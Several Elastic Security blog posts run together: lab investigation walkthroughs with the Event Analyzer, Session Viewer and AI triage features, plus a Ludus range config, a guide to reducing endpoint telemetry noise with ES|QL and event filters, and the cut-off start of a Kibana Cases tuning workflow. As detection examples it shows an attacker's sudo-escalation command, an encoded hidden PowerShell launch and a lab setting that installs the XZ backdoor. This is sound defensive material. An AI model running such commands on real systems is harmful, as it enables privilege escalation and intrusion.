Note: Elastic detection rules are open and transparent. You can view the logic, contribute, or raise issues directly on the(https://github.com/elastic/detection-rules).

6.2 Deep Dive: Tracing Process Chains with Event Analyzer

The two labs (GOAD and XZbot) provide a perfect opportunity to use Elastic's specialized investigation tools. The user interface of the Event Analyzer is designed to abstract the complexity of JSON logs into a cognitive model that aligns with how security analysts think: Process Chains. The interface is comprised of three primary interaction zones: the Graphical Canvas, the Detail Panel, and the Timeline integration.

What are we seeing?

The Graphical Canvas (The Process Tree)

The central view is a directed acyclic graph where:

• Nodes (Cubes): Each cube represents a distinct process execution. The visualization distinguishes between the "Anchor" event (highlighted with a blue halo) and the surrounding context.
• Edges (Lines): Lines represent the parent-child relationship. The directionality is implicit (top-down or left-right), showing the flow of execution.
• Visual Badging: Nodes are not static icons; they are dynamic indicators.
  • Alert Badges: If a specific process triggered a detection rule (e.g., "Malware Detected"), a colored badge appears on the cube. This allows an analyst to instantly identify which step in the chain was flagged by the detection engine.
  • User Context: Visual cues may indicate if a process changed user context (e.g., from a local user to SYSTEM), signaling privilege escalation.

The Detail Panel (Forensic Metadata)

Clicking on any node triggers the Detail Panel, typically sliding in from the right. This panel is the primary source of "What you can see" at a granular level. It exposes fields critical for verification:

• Command Line Arguments: This is arguably the single most valuable forensic artifact. The Analyzer displays the full string, exposing flags, scripts, and encoded payloads (e.g., powershell.exe -w hidden -enc Base64).
• Process Path and Hash: The full file path helps identify masquerading (e.g., svchost.exe running from C:Temp instead of C:\Windows\System32). File hashes (MD5, SHA-1, SHA-256) are presented for cross-referencing with threat intelligence.
• Signer Information: Information about the binary's digital signature helps distinguish between trusted Microsoft binaries and unsigned malware.
• Related Event Counts: Instead of cluttering the graph with thousands of file modifications, the node displays summary statistics (e.g., "15 File Events," "3 Network Connections"). Clicking these stats usually drills down into a list view or timeline of those specific actions.

The Temporal Dimension (Time Filter)

A critical, often overlooked aspect of the Analyzer is its handling of time. Attacks can have long "dwell times." A parent process might have started weeks ago (e.g., a legitimate service), while the malicious child spawned today. The Analyzer includes a time slider that allows the analyst to expand the query window. By default, it might look at a narrow window around the alert, but expanding this allows the graph to "reach back" into the Warm or Cold data tiers to find the long-running parent process.

How does it work?

The operational capability of the Event Analyzer leverage the Elastic Common Schema (ECS). In a heterogeneous security environment, logs originate from diverse sources—Windows endpoints, Linux servers, network firewalls, and cloud service providers—each with a unique taxonomy. A CrowdStrike agent might label a process ID as TargetProcessId, while a Sysmon event uses ProcessId. Without normalization, correlating these events into a single chain is algorithmically impossible.
ECS solves this by enforcing a strict field hierarchy. The Event Analyzer relies on specific, high-fidelity ECS fields to construct the visual graph:

• process.entity_id: This is the cornerstone of the Analyzer's logic. Operating systems recycle Process IDs (PIDs). A PID of 1234 might belong to svchost.exe at 09:00 and malware.exe at 14:00. Relying on PID for long-term historical analysis introduces collisions that would corrupt the visual graph, linking unrelated events. The process.entity_id is a unique string generated by the Elastic Agent (or ECS-compliant beats) that persists uniquely in the index, ensuring that the graph represents a distinct execution instance, regardless of PID reuse.
• process.parent.entity_id: This field establishes the directed edge between nodes. By recursively querying for events where the process.entity_id of one event matches the process.parent.entity_id of another, the Analyzer reconstructs the lineage.

event.sequence: In high-velocity environments, the order of events (e.g., did the file modification happen before or after the network connection?) is critical. ECS timestamps and sequence numbers allow the Analyzer to order events chronologically within the visual node details.

6.3 Deep Dive: Reconstructing User Activity with Session Viewer

For the XZbot (Linux) attack, the Session Viewer is the superior tool. It is specifically designed for "monitoring and investigating session activity on Linux infrastructure".

When the Potential Execution via XZBackdoor alert fires, the analyst investigates the associated sshd process. The Session Viewer presents a "highly readable format inspired by the terminal". It reconstructs the attacker's session, showing the sshd process and its anomalous child process (sh).

Furthermore, it will show the exact command that was executed (sh -c setsid sh -c "usermod -aG sudo sysadmin_backup") and can even display the output of that command. This is the definitive "smoking gun", presented to the analyst in plain, human-readable text, effectively allowing them to watch the attacker's TTY session after the fact.

What are we seeing?

The user interface of the Session Viewer is explicitly designed to bridge the gap between abstract log analysis and the native terminal experience of a Linux administrator. Unlike the Event Analyzer, which focuses on malware process chains, the Session Viewer presents a time-ordered, tree-based visualization that reconstructs the linear narrative of a shell session.

The Process Tree and Timeline

The central component of the view is a Directed Acyclic Graph (DAG) displayed as a hierarchical list.

• Vertical Flow: The Session Viewer arranges processes vertically, mimicking the flow of a terminal history file but preserving hierarchy. Child processes are indented relative to their parents. This allows an analyst to immediately distinguish between a command run directly by the user (e.g., curl) and a process spawned by a script execution (e.g., curl executing inside a setup.sh script).
• Verbose Mode: A toggle allows analysts to switch between a filtered view (showing significant user activity) and "Verbose Mode." When enabled, this mode reveals typically noisy events like shell startup scripts (.bashrc execution), shell completion helpers, and forks caused by built-in commands. This is crucial for detecting persistence mechanisms hidden in profile scripts.

Visual Badging and Indicators

The UI employs a sophisticated system of badges and icons to provide immediate context without requiring the analyst to drill down into every node. These visual cues are essential for rapid triage.

Visual Indicators in Elastic Session Viewer

Terminal Output View

Hovering over the Terminal Output button on a process node reveals a badge indicating the size of the captured output. Clicking this button opens the Terminal Output view, which renders the process.io.text data. This is the "Smoking Gun" feature for Linux investigations.

• Replay Capability: It allows the analyst to see exactly what the user saw. If an attacker ran cat /etc/passwd, the process tree shows the execution; the Terminal Output view shows the content of the passwd file as it was displayed to the attacker.
• Input Reconstruction: Because the viewer captures TTY I/O, it captures not just the command execution, but the typing. This can reveal backspaces, typos, and corrections (e.g., typing sdo [backspace] sudo), which are strong behavioral indicators of a human adversary rather than an automated script.

The Elastic Advantage: AI-Powered Automated Hunting

The process described in Phase 3 demonstrates a powerful, analyst-driven investigation. However, the primary advantage of using Elastic Cloud Hosted (ECH) or Elastic Serverless is the programmatic access to an integrated Generative AI stack. This stack elevates the process from manual correlation to AI-driven automated hunting.

Note: Elastic's AI features work with the out-of-the-box Elastic Managed LLMs or with third-party LLMs configured using one of the available connectors.

7.1 From Alerts to Attacks: Automated Correlation with Attack Discovery

The GOAD + XZbot labs will generate multiple discrete alerts, as shown in the table above. A junior analyst would be faced with a queue of alerts: Potential Kerberoasting, Suspicious Certificate Request, and Potential XZBackdoor and have to manually "stitch together" this complex, cross-domain attack.

This is the problem solved by Attack Discovery. This GenAI feature, available in Enterprise and Serverless tiers, "delivers fully automated threat hunting at scale". It "AI analyzes every alert to uncover hidden threats", automatically correlating the disparate signals from the Ludus lab into a single, high-fidelity "Attack" investigation.

The primary value of Attack Discovery for a forensic analyst is the compression of time. It automates the "mental stitching" that defines tier-one and tier-two analysis.

Deconstructing the "Mental Stitching"

Consider an example investigation without Attack Discovery.

1. Trigger: You see an alert: "Suspicious PowerShell Execution."
2. Query: You pivot to the host timeline.
3. Scan: You scroll back 15 minutes. You see a "File Download" event.
4. Hypothesis: "Maybe the user downloaded a bad file, which launched PowerShell."
5. Verification: You check the file name. It is invoice.js.
6. Conclusion: "Confirmed malware download."

This process takes between 10 and 30 minutes, dependingon the analyst's skill and familiarity with the environment. Attack Discovery performs this entire sequence in seconds. It looks at the PowerShell alert, sees the file download event in the related context, and presents a Discovery stating: "User executed suspicious PowerShell script likely originating from downloaded file 'invoice.js'."

This feature includes Data Persistence (results are saved for historical tracking) and Scheduling & Actions (it runs automatically and can trigger responses or subsequent Elastic Workflows), moving the SOC from a reactive to a proactive posture.

Example

In our example, as the Attack occurs, we start to see alerts. Instead of triaging the alerts individually, we leverage Attack Discovery for triage.
Compressing the mean-time-to-triage down to seconds and quickly identifying the 2 attacks.

7.2 Accelerating Triage with the AI Assistant

The Elastic Security Assistant uses generative AI to help you find, fix and understand security threats. It works directly inside Elastic Security. You interact with it through a chat interface to investigate alerts and write code.

In our example, once Attack Discovery identifies a correlated attack, we then use the AI Assistant to investigate. The assistant provides two key capabilities:

1. Natural Language Investigations: The analyst can ask plain-English questions like, "Summarize this attack", "What is the MITRE Tactic for this process?", "What is print spooler?" or “Provide some remediation suggestions.”

2. Agentic Query Validation workflow: This advanced feature allows the AI to "generate bespoke, validated ES|QL queries". An analyst can ask, "Find all network connections from the host involved in the XZbot alert", and the assistant will write, validate, and self-correct the query before presenting it, drastically lowering the skill barrier to high-end threat hunting.
   

How It Works

The Assistant connects your Elastic Stack to an LLM of your choice (e.g., GPT-5, Claude, Gemini). It uses Retrieval Augmented Generation (RAG) to fetch relevant data—logs, alerts, and internal documentation—from your environment. You can configure it to anonymize sensitive fields (PII or host/IP metadata) before sending the prompt to the model, ensuring your data remains private while the model reasons the behavioral patterns.

7.3 Intelligent Automation with Elastic Workflows

The attacks described above generate complex, multi-stage alerts. Handling these manually is slow. Elastic has addressed this by acquiring Keep, an open-source AIOps and alert management platform. In Elastic 9.3, this technology is integrated directly into Kibana in Technical Preview as Elastic Workflows.

What are Workflows?

Elastic Workflows is an automation engine built into the Elasticsearch platform. You define Workflows in YAML - what triggers them, what steps they take, what actions they perform - and the platform handles execution. A Workflow can query your environment, transform and enrich security data, branch based on conditions, call external APIs, and integrate with services like Slack, Jira, PagerDuty and more through connectors you've already configured. Workflows can also call AI agents to reason through complex investigations, then continue with response actions based on what the agent discovers. Elastic Workflows combines scripted automation with AI reasoning natively in your SIEM, where your security data already lives.

How It Works: The "Alert Aggregator & Workflow Engine"

Workflows become the middleware layer between detection and remediation, working through three primary mechanisms:

• Multi-Source Ingestion: Workflows extend beyond Elastic. Pulling in additional data for enrichment, analysis or initial triage.
• Workflow-as-Code (YAML): Workflows are defined in YAML files. This allows teams to version control their incident response procedures as code.
• The Workflow Engine: When an alert triggers in Elastic (or an external tool), the Workflow Engine executes a series of steps:
  1. Enrichment: Querying an API (like VirusTotal or Active Directory) to add context.
  2. Logic: Using if/else statements to determine severity.
  3. Action: Sending a Slack message, creating a Jira ticket, or triggering an Elastic Defend response action.

Consider an example Alert and Action flow.

• Trigger: You connect the workflow to a specific rule, such as "Malicious Detection Alert".
• Steps: You define a sequence of actions.
  1. Triage (Agentic): Pass the alert to the AI Assistant. Ask the questions: "How would we remediate and respond to the alert below?”
  2. Enrich: Attach the AI Assistant's response as a note to the alert.
  3. Respond: Create a case with a link to the alert note.

Example

In our example, we have alerts that trigger our Workflow - Alert Enrichment & Case Creation.
We will also directly trigger it from the Workflows UI to demonstrate the various steps.

• The Alert context is provided as an input to the Security AI Assistant
• The response is added as a note to the Security alerts
• A case is created with metadata from the Alert (timestamp, severity, rule name and alert reason).
• A link to the case is added to the case as a comment. Note: this is not shown in the GIF.

Conclusion: From Manual Setup to Continuous Emulation

This blog has provided a complete blueprint for an advanced, scalable, and most importantly, a safe simulation range.

1. We built: A complex, multi-lab range (GOAD + XZbot) was deployed with a single command using Ludus.
2. We instrumented: The entire range was seamlessly instrumented with Elastic Agent and Defend as part of the automated deployment, using the ludus_elastic_agent Ansible role.
3. We secured: The critical conflict between malware isolation and cloud-agent connectivity was solved using Ludus's granular "OPSEC" networking controls.
4. We validated: The platform's powerful SIEM capabilities were proven by validating Elastic's prebuilt, out-of-the-box detection rules against live, known-bad attacks.
5. We investigated: The specialized investigation tools, Event Analyzer and Session Viewer, were used to trace the exact attack paths on both Windows and Linux hosts.
6. We automated: The "force-multiplier" of Elastic's GenAI stack was demonstrated, with Attack Discovery automatically correlating disparate alerts into a single attack and the AI Assistant accelerating the final investigation.
7. We responded: The power of Elastic Workflows provide the brains and automation for complex response actions and remediation flows.

This architecture is not a one-off build. It is a blueprint for a continuous detection engineering pipeline. It "modernizes security operations" by empowering purple teams to tear down, rebuild, and re-test their defenses on demand, ensuring their detection posture evolves as fast as the threats do.

Take the Next Step: Enable Your Security Team

The architecture in this blog is more than a technical exercise; it's a blueprint for continuous security validation. By pairing this automated range with Elastic’s unified SIEM and XDR platform, you can move from periodic testing to a state of constant readiness.

We invite you to start your own trial, leverage this guide to test and evaluate the platform against real-world threats, and enable your security team with the tools to stay one step ahead of the adversary.

Using another SIEM?

No problem. You can leverage Elastic Serverless and augment your existing SIEM, then gain all of the insights above while using your native SIEM's underlying data. Get started with an Elastic Serverless deployment today. The Elastic AI SOC Engine (EASE) package delivers these AI-driven capabilities, enabling organizations to rapidly add powerful analytics and an AI layer on top of their existing tools before the full migration.

Appendix

Example Full Range

Note: The Kali VM VLAN is outside of the GOAD and XZ backdoor hosts to simulate a segmented network or a remote attacker. The Kali VM VLAN can be changed to 10/20 to simulate “assumed breach” or internal attack scenarios.

global_role_vars:
  ludus_elastic_fleet_server: "https://<fleet_domain>:<fleet_port>" #443 by default for cloud   ## Note on prem fleet server defaults to 8220
  ludus_elastic_agent_version: "9.2.1"
ludus:
  - vm_name: "{{ range_id }}-GOAD-DC01"
    hostname: "{{ range_id }}-DC01"
    template: win2019-server-x64-template
    vlan: 10
    ip_last_octet: 10
    ram_gb: 4
    cpus: 2
    windows:
      sysprep: true
    dns_rewrites:           # Any values in this array will be added to DNS for the range and return an A record for this VM's IP
      - sevenkingdoms.local
      - kingslanding.sevenkingdoms.local
      - kingslanding
    roles:
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_elastic_enrollment_token: "<goad_policy_enrollment_token>"
  - vm_name: "{{ range_id }}-GOAD-DC02"
    hostname: "{{ range_id }}-DC02"
    template: win2019-server-x64-template
    vlan: 10
    ip_last_octet: 11
    ram_gb: 4
    cpus: 2
    windows:
      sysprep: true
    dns_rewrites:
      - winterfell.north.sevenkingdoms.local
      - north.sevenkingdoms.local
      - winterfell
    roles:
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_elastic_enrollment_token: "<goad_policy_enrollment_token>"
  - vm_name: "{{ range_id }}-GOAD-DC03"
    hostname: "{{ range_id }}-DC03"
    template: win2016-server-x64-template
    vlan: 10
    ip_last_octet: 12
    ram_gb: 4
    cpus: 2
    windows:
      sysprep: true
    dns_rewrites:
      - essos.local
      - meereen.essos.local
      - meereen
    roles:
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_elastic_enrollment_token: "<goad_policy_enrollment_token>"
  - vm_name: "{{ range_id }}-GOAD-SRV02"
    hostname: "{{ range_id }}-SRV02"
    template: win2019-server-x64-template
    vlan: 10
    ip_last_octet: 22
    ram_gb: 4
    cpus: 2
    windows:
      sysprep: true
    dns_rewrites:
      - castelblack.north.sevenkingdoms.local
      - castelblack
    roles:
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_elastic_enrollment_token: "<goad_policy_enrollment_token>"
  - vm_name: "{{ range_id }}-GOAD-SRV03"
    hostname: "{{ range_id }}-SRV03"
    template: win2019-server-x64-template
    vlan: 10
    ip_last_octet: 23
    ram_gb: 4
    cpus: 2
    windows:
      sysprep: true
    dns_rewrites:
      - braavos.essos.local
      - braavos
    roles:
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_elastic_enrollment_token: "<your_enrollment>"
  - vm_name: "{{ range_id }}-xz-backdoor-dect"
    hostname: "{{ range_id }}-xz-backdoor-dect"
    template: debian-12-x64-server-template
    vlan: 20
    ip_last_octet: 1
    ram_gb: 2
    cpus: 2
    linux:
      packages: # You can define packages to install on Linux hosts
        - ca-certificates
        - netcat-openbsd
        - net-tools
    roles:
      - badsectorlabs.ludus_xz_backdoor
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_xz_backdoor_install_xzbot: true
      ludus_xz_backdoor_install_backdoor: true
      ludus_elastic_enrollment_token: "<linux_policy_enrollment_token>"
  - vm_name: "{{ range_id }}-kali"
    hostname: "{{ range_id }}-kali"
    template: kali-x64-desktop-template
    vlan: 50
    ip_last_octet: 99
    ram_gb: 8
    cpus: 4
    linux: true
    testing:
      snapshot: false # Snapshot this VM going into testing, and revert it coming out of testing. Default: true
      block_internet: false # Allow internet access for Kali, default is true
    roles:
      - badsectorlabs.ludus_xz_backdoor
      - badsectorlabs.ludus_elastic_agent
    role_vars:
      ludus_xz_backdoor_install_xzbot: true
      ludus_elastic_enrollment_token: "<linux_policy_enrollment_token>"

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

This article details the internal Elastic Infosec team's process to optimize our endpoint data collection. By leveraging Event Filtering and Advanced Policy Settings in Elastic Defend, we significantly reduced noise, improved cluster performance, and saved on storage costs, all while maintaining a robust security posture. By following these strategies you can significantly reduce your EDR costs with only a few hours of work.

Elastic Defend is a powerful Endpoint Detection and Response agent that provides comprehensive protection against advanced threats. Elastic Defend offers a wide range of capabilities, including prevention, detection, and response, to safeguard your endpoints. In addition to on-host detections and alerting, its capabilities include rich event telemetry collected directly from the endpoint and sent to your Elastic stack, such as process executions, network connections, DNS events, USB Device Events, DLL and Driver loads, API events, file system changes, and registry modifications. Elastic added default event filtering in 8.3.0+ that will automatically filter out known benign system events unless you disable it in the policy advanced settings. In addition to the built in filters, it is easy to add your own custom Event Filtering to Elastic Defend that will reduce your costs even further.

The environment: Worldwide Distributed Workforce

Our environment at Elastic isn't like most traditional enterprises. We are a remote first, distributed workforce with team members working remotely in over 43 countries around the world. Almost half of our employees are developers or engineers who are constantly pushing the boundaries of what an operating system can do. They are using Mac, Windows, and Linux workstations to compile software, build custom Linux kernels, run Elasticsearch clusters on Kubernetes on their workstations, and utilize complex development tools that can generate massive amounts of benign file and process activity.

When we initially rolled out Elastic Defend, our strategy was to first deploy to a small population of workstations from various different workcenters so we could get an idea of what the event volume looked like and filter out the noisiest events, and then gradually add more workstations each week. When we first installed Elastic Defend without any event filters we saw a very large volume of data, an average of 48k events per hour per workstation. A large amount of these events were being caused by benign but noisy management software such as Qualys, Jamf, inTune, etc. We needed a strategy to filter out the noise without creating blind spots for our security analysts.

Step 1: Identifying the Noise

When looking for noisy events there are generally two different categories of noise that you should look for:

1. Software that is installed on the majority of your workstations.
2. A single host that is creating far more noise than your other hosts.

When adding filters you will want to start with the first category of noise as that will make a bigger difference in the long run. A common cause of events like this are MDM agents or other applications that are constantly taking the same benign action such as writing to a log file and making network connections to ship logs to the cluster.

When a single host is creating significantly more events than other hosts it is often from a misconfiguration or a bug, in these cases the best solution is to fix the problem on the host. For example, we found a Linux system with a broken script that kept restarting and crashing thousands of times per second. Instead of adding an Event filter we reached out to the system owner and they fixed the script which also improved the performance of the system. If the events are caused by software installs that aren't on other hosts then event filters can be used to filter out for individual hosts. This will often be a single server such as a database or webserver causing a lot of network or file events compared to other systems.

We use the following ES|QL queries to pinpoint high-volume event categories, processes, and file paths. If you are using an older version of Elastic that does not support ES|QL you can use Lens visualizations in a similar way.

In the following ES|QL queries we use the logs-endpoint.events* index pattern. This is the default index pattern created by Elastic Defend for storing streamed events from endpoints. If you are using a custom configuration or cross cluster search this index pattern may be different.

Noisiest Event Categories and Actions: Use this query to find the categories and actions that are creating the most alerts. This is a good starting point to show you where the noisiest events are that will have the biggest impact if they are filtered.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY event.category, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP event.category, event.action, event_count

10 Noisiest Hosts: This query is a good way to find your noisiest workstations or servers.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY host.id, host.name
| SORT event_count DESC
| LIMIT 10
| KEEP host.id, host.name, event_count

Noisiest events on a single host: Once you've identified a noisy host, use this query to drill down and find the specific processes, command lines, or file paths driving that volume. You can use the | WHERE host.id == "{HOST_ID}" filter on any of the following queries to drill down on a single host events.

FROM logs-endpoint.events*
| WHERE host.id == "{HOST_ID}"
| STATS event_count = count(*) BY event.category, event.action, process.name, process.command_line, file.path
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, process.command_line, event.category, event.action, file.path, event_count

Noisiest Process Names: Use this query to find which applications or system processes are responsible for the highest event volume globally across your fleet.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Noisiest File Paths: Use this query to identify specific files or directories that are being accessed or modified frequently, often indicating logging or temporary file activity.

FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY file.path, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP file.path, event.action, event_count

Top 10 Network Events by Process Name: Use this query to see which processes are generating the most network connection events, which can help identify chatty agents or services.

FROM logs-endpoint.events*
| WHERE event.category == "network"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Top 10 Process Names by File Events: Use this query to identify which processes are generating the most file system noise, distinguishing them from other categories like network or registry events.

FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Step 2: Precise Event Filtering

Armed with this data, we utilize Event Filters in Elastic Defend. This feature allows you to prevent specific events from ever being sent to Elasticsearch, filtering them out directly at the endpoint. Filtering these events has no impact on the malware and host protections provided by Elastic Defend, it only stops these events from being sent to your cluster. This saves network bandwidth, disk storage, and CPU cycles on the workstations and ingest pipelines.

Filter example 1: Elasticsearch file noise

At Elastic we have a lot of users that run their own installations of Elasticsearch on their workstations as a way of doing testing or development. Elasticsearch will write files to disk very often as documents are ingested which can be quite noisy. Each filter is OS specific so you may need to create more than one version of some filters, this is an example of our MacOS version of this event filter:

Filter example 2: Linux Logfile modifications

On Linux systems log files are being constantly updated. This filter can be used to exclude all modification events when the file.extension is log. We would still receive events if a log file is created or deleted, but not when it is modified.

On MacOS systems that have Docker installed the docker backend process will run ps regularly to get information about the containers running on the workstation. Across our collection of workstations we were seeing these events over 153 million times per month. This filter can be used to exclude those events from collection.

Pro Tip: When applying filters, use the "Comments" field in the UI to document why a filter exists and link to the relevant ticket or investigation. This is crucial for long-term maintenance.

Step 3: Optimizing Performance at the Source

Beyond filtering, it is possible to make changes to the advanced settings of an Elastic Defend policy that will reduce the size of every event that is ingested. These advanced settings can reduce the number of events generated without sacrificing security. There are several features that help reduce the amount of data created by Elastic Agent.

Elastic Defend calculates MD5, SHA-1, and SHA-256 hashes for file events and alerts. Prior to 8.18 collecting all three hashes was enabled by default, but in 8.18 and newer the MD5 and SHA-1 hashes are disabled by default. These calculations consume workstation CPU cycles and cluster storage space calculating hashes that are unnecessary when we have the SHA-256 values.

If you have Elastic Agent prior to 8.18 and you want to disable these hash calculations, this is how you disable MD5 and SHA-1 collection in our integration policy settings:

1. Navigate to Integration Policies -> Elastic Defend.
2. Click Show advanced settings.
3. Under Windows/macOS/Linux event settings, set these values to false:
   • windows.advanced.events.hash.md5
   • windows.advanced.events.hash.sha1
   • linux.advanced.events.hash.md5
   • linux.advanced.events.hash.sha1
   • macos.advanced.events.hash.md5
   • macos.advanced.events.hash.sha1

Event Aggregation

Another effective way to reduce data volume is by utilizing event aggregation. Elastic Defend automatically merges short-lived process and network events with the same values into a single event document. Without this setting every process would create three separate start, fork, end events. With this setting enabled these three events are combined into a single document if they happen within a few seconds of each other.

This is particularly useful for environments where processes spin up and shut down rapidly. This feature is enabled by default on 8.18 and newer versions of Elastic Defend, but it can be enabled on older versions using the advanced settings. You can control this behavior using the advanced setting [linux|mac|windows].advanced.events.aggregate_process. We found that keeping these enabled significantly reduced our event count without impacting our ability to investigate incidents.

The Impact:

• Reduced CPU Usage: The agent no longer spends cycles calculating three different hashes for every file event.
• Smaller Event Size: Removing these fields slightly reduced the size of every file event JSON document sent to Elasticsearch, compounding into significant storage savings over billions of events.

Results

By implementing these changes, we transformed our detection environment:

• Volume Reduction: We dropped from an average of ~48k events per host per hour to ~12k events per host per hour—a 75% reduction in noise.
• Cost Savings: Assuming an average size of 1kb per document ingested, reducing event volume by 36,000 documents per host per hour translates to a reduction of ingested logs by 3.5TB per day for our fleet of 4,000 hosts. This results in an estimated reduction of around 100TB per month in our Elastic cluster, saving our team thousands of dollars every month. The true savings amount can vary depending on your settings such as ILM, logsdb, frozen storage, network transfer costs, cloud provider costs, and the hardware used in your cluster.
• Improved Signal: Our analysts now see fewer benign events which improves overall search speed and makes it easier to find the signal in the noise when hunting for threats.

Conclusion

Automation and configuration tuning are powerful tools for any SOC, and they are essential for managing the rich telemetry provided by modern endpoint security solutions like Elastic Defend. Don't be intimidated by the volume of events collected; this visibility is your greatest asset in detecting advanced threats. By treating our internal security team as Customer Zero, we proved that you can aggressively filter noise and optimize configurations to save money and improve performance without compromising security. These changes not only reduced our storage footprint but also empowered our analysts to focus on what matters most: detecting and responding to real threats.

We encourage you to embrace the full capabilities of Elastic Defend. Don't be intimidated by the data—take control of your Endpoint data with event filters. Start by using ES|QL and Lens to identify your noisiest events, implement Event Filters to suppress benign activity, and review your Policy Settings to ensure you're only collecting the data you truly need. Ready to optimize your own environment? Start your free trial of Elastic Security today and experience the power of comprehensive endpoint protection.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

At Elastic, the Infosec team is "Customer Zero”. We use the newest version of Elastic products extensively to secure our organization, which gives us unique insights into how to solve real-world security challenges. One of the ways we've improved Security Operations Center (SOC) efficiency is by creating a seamless, automated workflow that allows our analysts to open a detection tuning request directly from Kibana Cases with a single click.

In any SOC, the feedback loop between security analysts and detection engineers is crucial for maintaining a healthy and effective security posture. Analysts on the front lines are the first to see how detection rules perform in the real world. They know which alerts are valuable, which are noisy, and which could be improved with a bit of tuning. Alert fatigue from noisy alerts increases the risk of missing a true positive alert. Quickly tuning false positives is critical to responding to true positives. Capturing this alert feedback efficiently can be a challenge – manual processes, like sending emails, opening tickets, or direct messages can be inconsistent, time consuming, and hard to track.

With Elastic Security, an analyst can attach alerts to a new or existing case in Kibana, conduct their investigation, and with some customization and automation they can initiate a tuning request with a single click directly from Kibana Cases. This article will walk you through how we built this automation, and how you can implement a similar system to close the feedback loop and optimize your detection and response program.

Custom Fields in Kibana Cases

Custom fields are a key component of this automation within the Kibana Cases. Using these custom fields, we can capture the necessary information directly from the tool that the analysts are already using. These custom fields will appear on all new and existing cases, providing a clear and consistent way for analysts to flag a detection for review.

Note: The ability to add custom fields to cases was introduced in version 8.15. For more details, refer to the official Cases documentation.

Every Kibana Case is a document stored in a dedicated Elasticsearch index: .kibana_alerting_cases. This means all your case data is available for querying, aggregation, and automation, just like any other data source in Elastic. Each case document contains a wealth of information, but a few fields are particularly useful for metrics and automation. The cases.status field tracks whether a case is open, in-progress, or closed, while cases.created_at and cases.updated_at provide timestamps crucial for calculating metrics like Mean Time to Resolution (MTTR). Fields like cases.severity and cases.owner allow you to slice and dice your metrics to see how the team is performing. Most importantly for this blog, the cases.custom_fields object contains an array of the custom fields you've configured. Runtime fields can be used to parse the array of custom fields, allowing you to build queries, dashboards, visualizations, and detection rules that trigger workflows.

Beyond tuning requests, custom fields are incredibly versatile for tracking metrics and enriching cases. For example, we have a "Complex Case" custom field to flag cases that take more than an hour to resolve, helping us identify rules that may need better investigation guides or automation to help reduce the investigation time. We also use custom fields like "Detection rule valid" and "True Positive Alert" to gather granular feedback on rule performance and fidelity, allowing us to build powerful dashboards in Kibana to visualize the operational effectiveness of our SOC.

If you have not already created a data view for the Cases information you will need to do that if you want to use runtime fields and data visualizations with your cases.

Navigate to Index Patterns: In Kibana, go to Stack Management > Data Views and click ‘create new data view’.

Configure the Data view to map the .kibana_alerting_cases system index. You will need to click the Allow hidden and system indices button to allow this. For the timestamp field I recommend using the cases.updated_at field so the cases are displayed by the most recent activity.

Creating Custom fields

There are two types of custom fields; Text fields for free-form input, or Toggle fields for simple yes/no feedback. For our Tuning Request automation, we use one of each. The text field is an optional field used to capture any additional feedback from the analyst, and the toggle field is used to trigger the automation.

In Kibana, go to Security > Cases, then click on Settings in the top right. In the settings page you will see a Custom Fields section where you can add the new fields you want. The fields are displayed in the cases UI in alphabetical order so we prefix our fields with numbers to keep them in the order we want.

You can create the new custom fields, the Labels added in the UI are only for the analysts and are not stored in the cases index. These can be any value you want.

Add Custom Fields: We need two fields for this workflow.

• Field 1: Tuning Required Toggle

  • This will be the button analysts click to initiate a tuning request.

    • Label: Open tuning request?
    • Type: Toggle
    • Default Value: Off

  • Field 2: Tuning Request Details

    • This field allows the analyst to provide specific details about what needs to be changed, such as adding an exception, lowering the severity, or adjusting the query logic.
    • Name: Tuning request detail
    • Type: Text

  • Default Value: Off

Using Runtime fields to map the custom fields

A challenge when working with custom fields in Kibana Cases is that the cases.custom_fields field is mapped as an array of objects, where each object represents a custom field with its name and value. This structure makes it difficult to query for specific custom fields directly in KQL. For example, you can't simply use a query like cases.custom_fields.open_tuning_request : "true". To overcome this, we can use runtime fields to parse and query the custom fields.

Runtime fields are fields that are evaluated at query time. They allow you to create new fields on the fly without having to reindex your data. We can define runtime fields on the .kibana_alerting_cases index to use a painless script to parse the cases.custom_fields array and extract the values we need into new, easily queryable fields.

For this workflow, we'll create two runtime fields that will map to the custom fields created above:
* TuningRequired: A boolean field that will be true if the "Open tuning request" toggle is on.
* TuningDetail: A text field that will contain the analyst's comments from the "Tuning request detail" field.

Before we can create the runtime fields, we first need to identify the unique ID (key) that Kibana assigns to each custom field. Currently, there isn't a straightforward way to view this ID in the UI. To find it, we used the following workaround:

1. Create the Fields. If you are using other custom fields you should create the custom fields one at a time to make it easier to identify the new field keys. If you only have the two fields mentioned above you can tell them apart using the type value which can be either text or toggle.
2. Create a new case. After adding the field, we created a test case in Kibana and added some data to the description field and toggled the tuning required field to true with all other custom fields set to false or blank.
3. Inspect the case document. We then navigated to Discover and queried the .kibana_alerting_cases index to find the document for the new case. By inspecting the cases.customFields array in the document's source, we could find the key associated with our new custom field. Save the values of the key fields to be used in the runtime scripts.

The cases.customFields data is formatted like this:

  [
    {
      "key": "4537b921-3ca4-4ff0-aa39-02dd6a3177bd",
      "type": "text",
      "value": "This alert is too noisy"
    },
    {
      "key": "cdf28896-c793-43d2-9384-99562e23a646",
      "type": "toggle",
      "value": true
    }
  ]

Creating the Runtime Fields

